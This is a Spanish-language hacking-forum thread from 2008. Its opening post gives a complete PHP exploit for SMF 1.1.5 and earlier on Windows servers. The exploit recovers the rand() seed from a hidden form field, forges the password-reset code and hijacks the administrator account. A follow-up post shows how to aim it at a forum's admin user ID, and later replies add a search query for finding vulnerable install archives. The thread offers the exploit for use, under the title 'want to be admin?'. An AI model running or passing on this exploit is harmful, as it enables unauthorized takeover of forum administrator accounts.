Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: WHK en 7 Septiembre 2008, 04:57 am



Título: Quieres ser admin en un foro SMF 1.1.5?
Publicado por: WHK en 7 Septiembre 2008, 04:57 am
El único inconveniente es que funciona para servidores que corren con Window$  :P (windows pwned!)

código:
Código
  1. <?php
  2. echo "---------------------------------------------------------------\n";
  3. echo "SMF <= 1.1.5 Admin Reset Password Exploit (win32-based servers)\n";
  4. echo "(c)oded by Raz0r (http://Raz0r.name/)\n";
  5. echo "---------------------------------------------------------------\n";
  6.  
  7. if ($argc<3) {
  8.   echo "USAGE:\n";
  9.   echo "~~~~~~\n";
  10.   echo "php {$argv[0]} [host] [path] OPTIONS\n\n";
  11.   echo "[host] - target server where SMF is installed\n";
  12.   echo "[path] - path to SMF\n\n";
  13.   echo "OPTIONS:\n";
  14.   echo "--userid=[value] (default: 1)\n";
  15.   echo "--username=[value] (default: admin)\n";
  16.   echo "examples:\n";
  17.   echo "php {$argv[0]} site.com /forum/\n";
  18.   echo "php {$argv[0]} site.com / --userid=2 --username=odmen\n";
  19.   die;
  20. }
  21.  
  22. /**
  23. * Software site: http://www.simplemachines.org
  24. *
  25. * SMF leaks current state of random number generator through hidden input parameter `sc`
  26. * of the password reminder form:
  27. *
  28. * $_SESSION['rand_code'] = md5(session_id() . rand());
  29. * $sc = $_SESSION['rand_code'];
  30. *
  31. * Since max random number generated with rand() on win32 is 32767 and session id
  32. * is known an attacker can reverse the md5 hash and get the random number value.
  33. * On win32 every random number generated with rand() is used as a seed for the next
  34. * random number. So if SMF is installed on win32 platform an attacker can predict
  35. * all the next random numbers. When password reset is requested SMF uses rand()
  36. * function to generate validation code:
  37. *
  38. * $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
  39. *
  40. * So prediction of the validation code is possible and an atacker can set his
  41. * own password for any user.
  42. *
  43. * More information about random number prediction:
  44. * http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/
  45. *
  46. * More information about the behaviour of rand() on win32 (in Russian):
  47. * http://raz0r.name/articles/magiya-sluchajnyx-chisel-chast-2/
  48. */
  49.  
  50. ini_set("max_execution_time",0);
  51. ini_set("default_socket_timeout",10);
  52.  
  53. $host = $argv[1];
  54. $path = $argv[2];
  55.  
  56. for($i=3;$i<=$argc;$i++){
  57.   if(isset($argv[$i]) && strpos($argv[$i],"--userid=")!==false) {
  58.       list(,$userid) = explode("=",$argv[$i]);
  59.   }
  60.   if (isset($argv[$i]) && strpos($argv[$i],"--username=")!==false) {
  61.       list(,$username) = explode("=",$argv[$i]);
  62.   }
  63. }
  64.  
  65. if(!isset($userid))$userid="1";
  66. if(!isset($username))$username="admin";
  67.  
  68. $sess = md5(mt_rand());
  69. echo "[~] Connecting to $host ... ";
  70. $ock = fsockopen($host,80);
  71. if($ock) echo "OK\n"; else die("failed\n");
  72.  
  73. $packet = "GET {$path}index.php?action=reminder HTTP/1.1\r\n";
  74. $packet.= "Host: {$host}\r\n";
  75. $packet.= "Cookie: PHPSESSID=$sess;\r\n";
  76. $packet.= "Keep-Alive: 300\r\n";
  77. $packet.= "Connection: keep-alive\r\n\r\n";
  78.  
  79. fputs($ock, $packet);
  80.  
  81. while(!feof($ock)) {
  82.   $resp = fgets($ock);
  83.   preg_match('@name="sc" value="([0-9a-f]+)"@i',$resp,$out);
  84.   if(isset($out[1])) {
  85.       $md5 = $out[1];
  86.       break;
  87.   }
  88. }
  89.  
  90. if($md5) {
  91.   $seed = getseed($md5);
  92.   if($seed) {
  93.       echo "[+] Seed for next random number is $seed\n";
  94.   } else die("[-] Can't calculate seed\n");
  95. }
  96. else die("[-] Random number hash not found\n");
  97.  
  98. function getseed($md5) {
  99.   global $sess;
  100.   for($i=0;$i<=32767;$i++){
  101.       if($md5 == md5($sess . $i)) {
  102.           return $i;
  103.       }
  104.   }
  105. }
  106.  
  107. $sc = md5($sess . $seed);
  108. $data   = "user=".urlencode($username)."&sc=$sc";
  109. $packet = "POST {$path}index.php?action=reminder;sa=mail HTTP/1.1\r\n";
  110. $packet.= "Host: {$host}\r\n";
  111. $packet.= "Cookie: PHPSESSID=$sess;\r\n";
  112. $packet.= "Connection: close\r\n";
  113. $packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
  114. $packet.= "Content-Length: ".strlen($data)."\r\n\r\n";
  115. $packet.= $data;
  116.  
  117. fputs($ock, $packet);
  118.  
  119. $resp='';
  120. while(!feof($ock)) {
  121.   $resp .= fgets($ock);
  122. }
  123.  
  124. if(preg_match("@HTTP/1.(0|1) 200 OK@i",$resp)===false) {
  125.   die("[-] An error ocurred while requesting validation code\n");
  126. }
  127.  
  128. if(strpos($resp,"javascript:history.go(-1)")!==false) {
  129.   die("[-] Invalid username\n");
  130. }
  131.  
  132. srand($seed);
  133. for($i=0;$i<6;$i++){
  134.   rand();
  135. }
  136. $password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
  137. echo "[+] Success! To set password visit this link:\nhttp://{$host}{$path}index.php?action=reminder;sa=setpassword;u={$userid};code=$password\n";
  138. ?>
  139.  
  140. # milw0rm.com [2008-09-06]

Fuentes:
http://milw0rm.com/exploits/6392
http://www.jccharry.com/blog/2008/09/07/whk_vulnerabilidad-en-sistema-de-foros-smf-115-y-versiones-anteriores.html


Título: Re: Quieres ser admin en un foro SMF 1.1.5?
Publicado por: WHK en 7 Septiembre 2008, 18:16 pm
Recuerda que solo funciona para SMF que esté montado en un servidor con windows debido a su limitación de la generación de números al azar con la función rand().

se usa mas masomenos así:
Código:
php ./smf.php www.foro.com / --userid=1

Donde se supone que el id 1 es el admin, puedes posicionar el mouse sobre el nick del admin de un foro y abajo te aparecerá el número de id en la variable "u" que por lo general es 1.

Lo que hace el exploit es un crackeo de la clave insegura que debuelve al resetear el password de alguien aprobechandose de la cantidad limitada por windows para generar tal código y por eso es que no funciona en foros que están montados sobre un servidor con Linux.

Citar
yan@yan-desktop:~/Escritorio$ php ./smf.php
---------------------------------------------------------------
SMF <= 1.1.5 Admin Reset Password Exploit (win32-based servers)
(c)oded by Raz0r (http://Raz0r.name/)
---------------------------------------------------------------
USAGE:
~~~~~~
php ./smf.php [host] [path] OPTIONS

[host] - target server where SMF is installed
[path] - path to SMF

OPTIONS:
--userid=[value] (default: 1)
--username=[value] (default: admin)
examples:
php ./smf.php site.com /forum/
php ./smf.php site.com / --userid=2 --username=odmen
yan@yan-desktop:~/Escritorio$


Título: Re: Quieres ser admin en un foro SMF 1.1.5?
Publicado por: jdc en 8 Septiembre 2008, 05:36 am
Bueno contra este problema salio una actualizacion a SMF 1.1.6 para los que esten en windows ;) pueden leer mas aqui ;)

http://www.simplemachines.org/community/index.php?topic=260145.0

Saludos!


Título: Re: Quieres ser admin en un foro SMF 1.1.5?
Publicado por: berz3k en 8 Septiembre 2008, 13:24 pm
Todo lo tengo en linux y parece que la version en win32 esta parchada, si alguien tiene la version vulnerable de la que estamos hablando para win32, postee link de descarga.

-berz3k.



Título: Re: Quieres ser admin en un foro SMF 1.1.5?
Publicado por: sirdarckcat en 9 Septiembre 2008, 17:05 pm
Hay varios:
http://www.google.com/search?q=smf_1-1-5_install.zip+intitle:%22index+of%22


Título: Re: Quieres ser admin en un foro SMF 1.1.5?
Publicado por: berz3k en 12 Septiembre 2008, 02:30 am
Kool, he bajado las versiones mas viejas ya les comento

PD: Me habia olvidado por completo de google+hacks

-berz3k.



Título: Re: Quieres ser admin en un foro SMF 1.1.5?
Publicado por: Unnamed en 24 Septiembre 2008, 17:53 pm
No tengo muchos conocimientos en estos temas pero me surge una duda, tal vez sea estupida.

mi duda es la siguiente, veo que el exploit esta en .php , dando vueltas me tope con un video tutorial de hacking sobre este misma tema pero, el  caso es que se usaba el activeperl  y otra herramienta (http live headers), esas herramientas no se usan para exploit en perl?

esa es la situacion que me confunde un poco

perdon si es una pregunta tonta :)


Título: Re: Quieres ser admin en un foro SMF 1.1.5?
Publicado por: s E t H en 25 Septiembre 2008, 03:08 am
active perl es para perl... para php es php, aunque nunca lo usé